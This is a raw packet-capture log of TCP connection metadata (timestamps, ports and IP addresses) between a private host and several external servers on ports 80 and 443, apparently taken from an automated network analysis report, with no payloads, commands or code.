Nov 20, 2024 18:57:46.368016005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.368053913 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.368798018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.368809938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.368859053 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.369537115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.369581938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.369643927 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.370320082 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.370366096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.370378017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.370414019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.371114016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.371181011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.371448994 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.371484995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.371948957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.371994972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.372020960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.372138023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.372781992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.372793913 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.372898102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.373569012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.373609066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.373621941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.373692989 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.374393940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.374442101 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.374449015 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.374510050 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.375185966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.375467062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.375507116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.376142025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.376154900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.376195908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.377335072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.377348900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.377399921 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.377418041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.377717972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.377886057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.377923965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.378470898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.378508091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.378535986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.378551960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.379276991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.379337072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.379358053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.379410982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.380103111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.380115032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.380152941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.380168915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.380903959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.380975008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.381251097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.381725073 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.381763935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.382019043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.382165909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.382518053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.382561922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.402676105 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.402741909 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.402781010 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.402806044 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.402828932 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.402848959 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.449548006 CET	49852	443	192.168.2.6	23.44.203.79
Nov 20, 2024 18:57:46.449553013 CET	49858	443	192.168.2.6	18.173.219.84
Nov 20, 2024 18:57:46.449564934 CET	49859	443	192.168.2.6	104.117.182.18
Nov 20, 2024 18:57:46.449587107 CET	443	49858	18.173.219.84	192.168.2.6
Nov 20, 2024 18:57:46.456729889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.513355970 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.513386011 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.513427019 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.513449907 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.513484955 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.513499975 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.553198099 CET	443	49857	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.553726912 CET	49857	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.553751945 CET	443	49857	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.554214001 CET	49857	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.554219961 CET	443	49857	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.555404902 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.555866957 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.555897951 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.556396008 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.556402922 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.558650970 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.558677912 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.558739901 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.558759928 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.558799028 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.558820009 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.576530933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.581387043 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.581433058 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.581475019 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.581484079 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.581511974 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.581536055 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.600879908 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.600934982 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.600975037 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.600985050 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.601061106 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.601061106 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.636468887 CET	49858	443	192.168.2.6	18.173.219.84
Nov 20, 2024 18:57:46.705890894 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.705926895 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.705965042 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.705984116 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.706001043 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.706018925 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.727504015 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.727535963 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.727600098 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.727637053 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.727658987 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.727791071 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.730235100 CET	443	49854	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.730309963 CET	443	49854	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.730355978 CET	49854	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.730767965 CET	49854	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.730787039 CET	443	49854	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.730804920 CET	49854	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.730811119 CET	443	49854	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.735619068 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.735646963 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.735740900 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.735948086 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.735963106 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.743212938 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.743240118 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.743302107 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.743321896 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.743377924 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.761291027 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.761311054 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.761378050 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.761398077 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.762053967 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.778919935 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.778939962 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.779017925 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.779027939 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.779159069 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.794121027 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.794152975 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.794193029 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.794229031 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.794250011 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.794275045 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.839761972 CET	443	49853	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.839838982 CET	443	49853	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.839929104 CET	49853	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.840502977 CET	49853	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.840517998 CET	443	49853	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.843792915 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.843820095 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.843919039 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.844093084 CET	49867	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.844105005 CET	443	49867	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.851335049 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.851413965 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.851548910 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.851584911 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.851603985 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.851620913 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.851627111 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.853950977 CET	49868	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.853987932 CET	443	49868	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.854089975 CET	49868	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.854867935 CET	49868	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.854887962 CET	443	49868	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.896576881 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.896601915 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.896648884 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.896671057 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.896689892 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.896713018 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.908906937 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.908930063 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.908979893 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.908987999 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.909022093 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.909040928 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.920260906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.920325041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.920331001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.920340061 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.920367002 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.920372009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.920406103 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.920413017 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.920438051 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.920463085 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.920999050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.921013117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.921056032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.921056032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.921616077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.921669960 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.921977043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.922158957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.922408104 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.922420979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.922466040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.923054934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.923134089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.923182011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.923926115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.923938990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.923971891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.924005985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.924678087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.924901009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.924952030 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.925015926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.925832033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.925846100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.925889969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.926637888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.926656961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.926687956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.926700115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.928148031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.928195000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.928242922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.928317070 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.928338051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.928355932 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.928442001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.928491116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.929088116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.929147959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.929152966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.929215908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.929675102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.929687977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.929733038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.930743933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.930824995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.930969000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.931037903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.931540966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.931555986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.931587934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.931616068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.932228088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.932274103 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.932725906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.932776928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.932979107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.933032036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.933206081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.933254004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.933311939 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.933339119 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.933379889 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.933389902 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.933417082 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.933444977 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.933631897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.933682919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.933767080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.933811903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.934570074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.934619904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.934638023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.934711933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.935441017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.935553074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.935563087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.935599089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.936542988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.936557055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.936598063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.937243938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.937304020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.937393904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.937433004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.937664032 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.937712908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.937839985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.938009977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.938534975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.938587904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.939057112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.939106941 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.940073013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.940084934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.940133095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.940598011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.940609932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.940650940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.941082954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.941129923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.941636086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.941804886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.941915035 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.941929102 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.941960096 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.941972971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.942631960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.942643881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.942677021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.942692041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.943555117 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.943605900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.943607092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.943650007 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.944608927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.944621086 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.944662094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.944716930 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.944741011 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.944787025 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.944816113 CET	443	49849	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:46.944830894 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.944869041 CET	49849	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:46.945099115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.945112944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.945147991 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.945162058 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.946774960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.946790934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.946837902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.947115898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.947169065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.947530031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.947580099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.947685957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.947700024 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:46.947731018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:46.947758913 CET	49794	80	192.168.2.6	185.215.113.206
